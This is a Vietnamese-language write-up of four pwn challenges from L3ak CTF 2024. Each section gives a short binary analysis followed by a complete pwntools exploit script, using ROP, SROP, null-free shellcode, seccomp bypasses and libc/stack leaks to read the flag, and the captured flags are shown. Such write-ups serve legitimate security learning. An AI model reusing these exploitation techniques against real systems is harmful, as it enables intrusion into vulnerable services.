# (writeup) L3ak CTF 2024
- giải có Docker đi vào lòng đất 🤡
## oorrww
- basic file check

- check ida

>**main()**

>**sandbox()**
>thêm seccomp thôi
>
>fillter execve và execveat

>**gift()**
### analyse
- chall sẽ cho mình stack và libc
- khả năng nhập ow cả $rip từ **main()**
``_iso99_scanf("%lf",v5[8*i])`` (loop 22 lần)
- format nhập là "%lf" ---> bypass canary bằng input '.'
- idea sẽ là ORW flag
- idea ban đầu là chain gadget call orw nhưng không đủ nên đổi hướng là call read 1 lần nữa để ROP
- NOTE: không thể tin vào path flag trên Docker =)))
> author bị ngáo
> flag nằm cùng thư mục chall
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./oorrww_patched', checksec=False)
libc = ELF('./libc.so.6', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
# b*main+144
b*main+191
c
''')
input()
if args.REMOTE:
p = remote('193.148.168.30',7666)
else:
p = process(exe.path)
GDB()
p.recvuntil(b'you: ')
string1 = float(p.recvuntil(b' ',drop=True).decode())
value1 = struct.unpack('!Q', struct.pack('!d',string1))[0]
stack_leak = int(hex(value1),16)
info("stack leak: " + hex(stack_leak))
string2 = float(p.recvuntil(b'!',drop=True).decode())
value2 = struct.unpack('!Q', struct.pack('!d',string2))[0]
libc_leak = int(hex(value2),16)
libc.address = libc_leak - 0x62090
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
pop_rdx_rbx = 0x00000000000904a9 + libc.address
syscall = 0x0000000000029db4 + libc.address
leave_ret = 0x000000000004da83 + libc.address
open_call = libc.sym.open
read_call = libc.sym.read
write_call = libc.sym.write
payload_open = str(struct.unpack('d', p64(open_call))[0]).encode()
payload_read = str(struct.unpack('d', p64(read_call))[0]).encode()
payload_write = str(struct.unpack('d', p64(write_call))[0]).encode()
info("stack need: " + hex(stack_leak+0x20))
payload_flag = str(struct.unpack('d', b'flag.txt')[0]).encode()
payload_flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
payload_flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()
payload_0 = str(struct.unpack('d',p64(0))[0]).encode()
payload_0x200 = str(struct.unpack('d',p64(0x200))[0]).encode()
payload_rw_section = str(struct.unpack('d', p64(stack_leak+0x60))[0]).encode()
payload_ret_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_stack = str(struct.unpack('d', p64(stack_leak+8))[0]).encode()
payload_ret = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
payload_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_rdx_rbx = str(struct.unpack('d', p64(pop_rdx_rbx))[0]).encode()
payload_syscall = str(struct.unpack('d', p64(syscall))[0]).encode()
payload_leave_ret = str(struct.unpack('d', p64(leave_ret))[0]).encode()
sla(b'input:',payload_flag1)
sla(b'input:',payload_flag2)
# sla(b'input:',payload_flag)
# sla(b'input:',payload_0)
sla(b'input:',payload_rdi)
sla(b'input:',payload_0)
sla(b'input:',payload_rsi)
sla(b'input:',payload_rw_section)
sla(b'input:',payload_rdx_rbx)
sla(b'input:',payload_0x200)
sla(b'input:',payload_0)
sla(b'input:',payload_rax)
sla(b'input:',payload_0)
sla(b'input:',payload_read)
for i in range(8):
sla(b'input:',b'.')
sla(b'input:',payload_ret_stack)
sla(b'input:',payload_leave_ret)
payload = flat(
pop_rdi, stack_leak,
pop_rsi, 0,
pop_rdx_rbx, 0,0,
pop_rax, 2,
open_call,
pop_rdi, 3,
pop_rsi, stack_leak+0x200,
pop_rdx_rbx, 0x100,0,
pop_rax, 0,
read_call,
pop_rdi, 1,
pop_rsi, stack_leak+0x200,
pop_rdx_rbx, 0x100,0,
pop_rax, 1,
write_call
)
sleep(5)
p.send(payload)
p.interactive()
#L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}
```
>L3AK{th3_d0ubl3d_1nput_r3turns_whAt_u_wAnt}
## pors
- basic file check

- check ida

>**main()**

>**sandbox()**
> thêm seccomp thôi
> 
> filter write, open, mmap, execve, execveat
### analyse
- đầu tiên, chall gọi thẳng hàm **syscall()** (lưu ý khác với gadget syscall) với tham số lần lượt là `0LL, 0LL, v4, 592LL`
> tương ứng $rdi, $rsi, $rdx, $rcx (thường là $r10)
> nhưng thực tế là $rax, $rdi, $rsi, $rdx
- xét qua seccomp, k cho lấy shell, k cho open hay write ---> đổi hướng sang openat và sendfile (tương tự read&write)
- mà chain ROP call 2 thằng đó hơi khoai nên sẽ call mprotect rồi ret2shellcode
- nhưng gadget hiện hữu để chain chỉ có `pop rdi; ret` nên ROP đống đó bất khả thi
---> SROP (sigreturn)
- và path tới flag trong Docker cũng bịp tiếp nha =))))
> phải open ticket hỏi
> đến cả author còn k biết path flag ở đâu mà =))))))
> flag nằm chung ở thư mục challenge nha
- NOTE: arg cho openat:
``int openat(int dirfd, const char *pathname, int flags, mode_t mode);``

> $rdi=0 và $rsi là path tuyệt đối
> **If pathname is absolute, then dirfd is ignored.**

> $rdi=-100 và $rsi là file_name (path tương đối)
> **If pathname is relative and dirfd is the special value AT_FDCWD**
> [ref](https://sites.uclouvain.be/SystInfo/usr/include/linux/fcntl.h.html)
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./pors', checksec=False)
context.binary = exe
context.arch = 'x86_64'
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
sln = lambda msg, num: sla(msg, str(num).encode())
sn = lambda msg, num: sa(msg, str(num).encode())
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript='''
b*main+75
b*main+81
c
''')
input()
if args.REMOTE:
# p = remote('0',5000)
p = remote('193.148.168.30',7668)
else:
p = process(exe.path)
# GDB()
rw_section = 0x404a00
pop_rdi = 0x00000000004012ec
rw_section = 0x404a00
setup = 0x000000000040131c
payload = b'a'*0x20
payload += p64(rw_section+0x20)#rbp
payload += p64(setup)
p.send(payload)
frame = SigreturnFrame()
frame.rdi = 0xa #mprotect
frame.rsi = rw_section-0xa00
frame.rdx = 0x1000
frame.rcx = 0x7
frame.rsp = rw_section
frame.rbp = rw_section + 0x120
frame.rip = exe.plt.syscall
# input()
shellcode = asm(shellcraft.openat(-100, 'flag.txt',0))
shellcode += asm(shellcraft.sendfile(1, 'rax',0, 100))
payload = p64(0x404b40) #return shellcode
payload += p64(pop_rdi+1)*3
payload += p64(rw_section+0x70)
payload += p64(pop_rdi) + p64(0xf)
payload += p64(exe.plt.syscall)
payload += bytes(frame)
payload += p64(0xdeadbeef)
payload += shellcode
p.send(payload)
p.interactive()
#L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt}
```
>L3AK{sr0p_4nd_m0viing_4nd_G3T_wh4t_u_r34lly_w4nt}
---
## pwnoodle
- basic file check

- check ida
#### noodled


>**main()**
>tạo socket rồi đợi connect các thứ

>**friend()**
>cho stack

>**solve_noodles()**
>nhận input dc trả về rồi xử lý (0x21 byte)
>**memcpy()** cái đọc được rồi copy lên stack
>có BOF ở đây, khi ``__int64 dest[2]`` là 8*2 = 0x10
>trong khi memcpy tận 1 byte **m** (unsigned __int8) (max 0xff)
>nếu ctrl được **m** ---> ow được $rip
>0x18 cho $rbp, 0x20 cho $rip
#### noodleterm


>**main()**


>**repl()**



>**noodlen()**



>**noodluv()**
### analyse
- đôi lời tâm sự, chall này author ~~"xò chám"~~ lắm khi kêu thí sinh giải local ra r gửi script cho ổng, ổng sẽ gửi flag =))))))))))))))))))
- để DEBUG, ta build Docker rồi `remote('0',4819)`
> qua terminal khác tìm tiến tiền bằng `ps aux` rồi lấy \<pid>
> sau đó `sudo gdb -p <pid>`
> lưu ý chỉ có thể DEBUG trên máy ảo, WSL vô dụng
- với file `startup.sh`, thứ tự run là `./noodled noodleterm` tức là ./A B (xử lí bên B trả về A, xử lí xong A trả về B)
> và để ý checksec thấy noodled k có canary và NX disable lẫn NO PIE
> ---> shellcode
- để ý thấy ở hàm **noodlen()** sau khi cho ta nhập size, biến bss **num_0** được tính là ``+= size``

>tối đa size=0x10
>nhập input giới hạn `i <= 0x1F` và `i < num_0`
- nhưng khi tới bước check

> không thoả mãn sẽ break
> nhưng vẫn giữ biến toàn cục **num_0**
> ---> BUG

>**checknoodle()**
>chỉ return 1 khi payload chỉ chứa mỗi byte '-'
- và cách nó gửi dữ liệu:

> code C
>```c
> for ( i = 0; i <= 0x1Fu; ++i )
> *((_BYTE *)buf + i + 1) = *((_BYTE *)v7 + >i);
>```
>nôm na là tính tổng số lượng byte rồi biến tổng đó về byte ( giống hàm **chr()** )
- vậy idea ta sẽ tăng **num_0** lên (0x10) nhưng không input payload
- lần nhập 2 sẽ là shellcode (input tận 0x20)
> lưu ý gửi shellcode dưới dạng ``b'-'*shellcode[i]``
> tức là mỗi một byte shellcode sẽ gửi số lần b'-'
- quay lại file noodled, thấy có xử lí chuỗi ở đây

>nếu có byte NULL sẽ ngắt chuỗi
- vậy việc ta sẽ viết shellcode không chứa NULL byte, đồng thời chiều dài tối đa 0x18, ở 0x20 sẽ là stack return lại shellcode
- thế ta sẽ viết shellcode gì?
- không thể viết read, execve hay execveat vì bài dạng service (socket)
- ta đọc trong file Dockerfile
```dockerfile
...
COPY flag /flag
RUN chmod 600 /flag
...
```
> flag set quyền r__ cho root
> `r__ ___ ___` thì user không thể cat hay symlink các thứ
- ta sẽ viêt shellcode call chmod cho flag
- rồi dùng option **noodluv** để symlink và in ra

- symlink với flag nằm ở thư mục / (root) nên sẽ để path là lùi '../'
- NOTE: do máy tui đã set /flag ở cả quyền user nên k cần shellcode vẫn in ra được
```py
sla(b'> ',b'noodluv')
sla(b'recipe?\n',b"../../../../../../../../../flag")
```
> nên nếu quăng cho author sẽ bị cười dô mặt =)))
> phải đúng ý author mới chịu cơ =)))
### get flag

- script:
```py
#!/usr/bin/python3
from pwn import *
exe = ELF('./noodled', checksec=False)
context.binary = exe
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
p = remote('0',4819)
p.recvuntil(B'stackleak:')
stack_leak = int(p.recvline(), 16)
info(f'stack_leak: '+ hex(stack_leak))
dest = stack_leak + 0x10
shellcode = asm('''
pop rsp
push rax
movabs rbx,0x67616c662f2f2f2f
push rbx
mov rdi, rsp
mov si,0x124
mov al,0x5a
syscall
''',arch='amd64')
payload = shellcode
payload = payload.ljust(0x18,b'\x90')
payload += p64(dest)
# pause()
sla(b'> ',b'noodlen')
sla(b'send?',str(0x10))
sla(b'line:',b'a')
info("len: " + str(len(shellcode)))
sla(b'> ',b'noodlen')
sla(b'send?',str(0x10))
p.recvuntil(b'line:')
for i in range(len(payload)):
sl(b'-'*payload[i])
sla(b'> ',b'noodluv')
sla(b'recipe?\n',b"../../../../../../../../../flag")
p.interactive()
```
## oorrww_revenge
- basic file check

- check ida

>**main()**

>**sandbox()**

>**gift()**
### analyse
- ở chall này giống nhau về work flow nhưng chỉ khác là ở hàm **gift()** không còn cho ta địa chỉ libc hay stack nữa
- bù lại PIE sẽ tắt và nhập tận 30 lần
- mục tiêu ta vẫn phải leak libc và stack để call ORW
### get flag

- script:
```py
#!/usr/bin/env python3
from pwn import *
context.binary = exe = ELF("./oorrww_revenge_patched",checksec=False)
libc = ELF("./libc.so.6",checksec=False)
info = lambda msg: log.info(msg)
sla = lambda msg, data: p.sendlineafter(msg, data)
sa = lambda msg, data: p.sendafter(msg, data)
sl = lambda data: p.sendline(data)
s = lambda data: p.send(data)
if args.REMOTE:
p = remote('193.148.168.30', 7667)
else:
p = process(exe.path)
def GDB():
if not args.REMOTE:
gdb.attach(p, gdbscript = '''
b*main+139
b*main+185
c
''')
input()
for i in range(19):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
pop_rax = 0x0000000000401203
setup = 0x00000000004012da
rw_section = 0x404a00
payload_pop_rax = str(struct.unpack('d', p64(pop_rax))[0]).encode()
payload_got_puts = str(struct.unpack('d', p64(exe.got.puts))[0]).encode()
payload_setup = str(struct.unpack('d', p64(setup))[0]).encode()
sla('input:\n', b'.') #canary
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_got_puts)
sla('input:\n', payload_setup)
for i in range(6):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
libc_leak = u64(p.recvuntil(b'\n',drop=True) + b'\0\0')
libc.address = libc_leak - libc.sym.puts
info("libc leak: " + hex(libc_leak))
info("libc base: " + hex(libc.address))
pop_rdi = libc.address + 0x000000000002a3e5
pop_rsi = libc.address + 0x000000000002be51
pop_rdx_r12 = libc.address + 0x000000000011f2e7
for i in range(19):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
payload_environ = str(struct.unpack('d', p64(libc.sym.environ))[0]).encode()
sla('input:\n', b'.') #canary
sla('input:\n', str(struct.unpack('d', p64(rw_section))[0]).encode()) #rbp
sla('input:\n', payload_pop_rax)
sla('input:\n', payload_environ)
sla('input:\n', payload_setup)
for i in range(6):
payload = str(struct.unpack('d', p64(exe.sym.main + 5))[0]).encode()
sla('input:\n', payload)
stack = u64(p.recvuntil(b'\n',drop=True) + b'\0\0')
info("stack leak: " + hex(stack))
payload_pop_rdi = str(struct.unpack('d', p64(pop_rdi))[0]).encode()
payload_path_flag = str(struct.unpack('d', p64(stack - 0x118 + 0x30))[0]).encode()
payload_pop_rsi = str(struct.unpack('d', p64(pop_rsi))[0]).encode()
payload_0 = str(struct.unpack('d', p64(0))[0]).encode()
payload_open = str(struct.unpack('d', p64(libc.sym.open))[0]).encode()
payload_3 = str(struct.unpack('d', p64(3))[0]).encode()
payload_stack_0x100 = str(struct.unpack('d', p64(stack - 0x118 + 0x100))[0]).encode()
payload_rdx_r12 = str(struct.unpack('d', p64(pop_rdx_r12))[0]).encode()
payload_0x100 = str(struct.unpack('d', p64(0x100))[0]).encode()
payload_read = str(struct.unpack('d', p64(libc.sym.read))[0]).encode()
payload_1 = str(struct.unpack('d', p64(1))[0]).encode()
payload_write = str(struct.unpack('d', p64(libc.sym.write))[0]).encode()
flag1 = str(struct.unpack('d', b'./flag.t')[0]).encode()
flag2 = str(struct.unpack('d', b'xt\0\0\0\0\0\0')[0]).encode()
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_path_flag)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_0)
sla('input:\n', payload_open)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_3)
sla('input:\n', payload_pop_rsi)
sla('input:\n', payload_stack_0x100)
sla('input:\n', payload_rdx_r12)
sla('input:\n', payload_0x100)
sla('input:\n', payload_0)
sla('input:\n', payload_read)
sla('input:\n', payload_pop_rdi)
sla('input:\n', payload_1)
sla('input:\n', payload_write)
GDB()
sla('input:\n', flag1)
sla('input:\n', flag2)
sla('input:\n', payload_0)
sla('input:\n', b'.')
leave_ret = 0x00000000004012c9
payload = str(struct.unpack('d', p64(stack - 0x118 - 8 - 0x50))[0]).encode()
sla('input:\n', payload)
payload = str(struct.unpack('d', p64(leave_ret))[0]).encode()
sla('input:\n', payload)
for i in range(8):
payload = str(struct.unpack('d', p64(pop_rdi+1))[0]).encode()
sla('input:\n', payload)
p.interactive()
#L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}
```
>L3AK{n0w_u_hav3_th3_k3y_t0_th3_inv1s1ble_ffllaagg}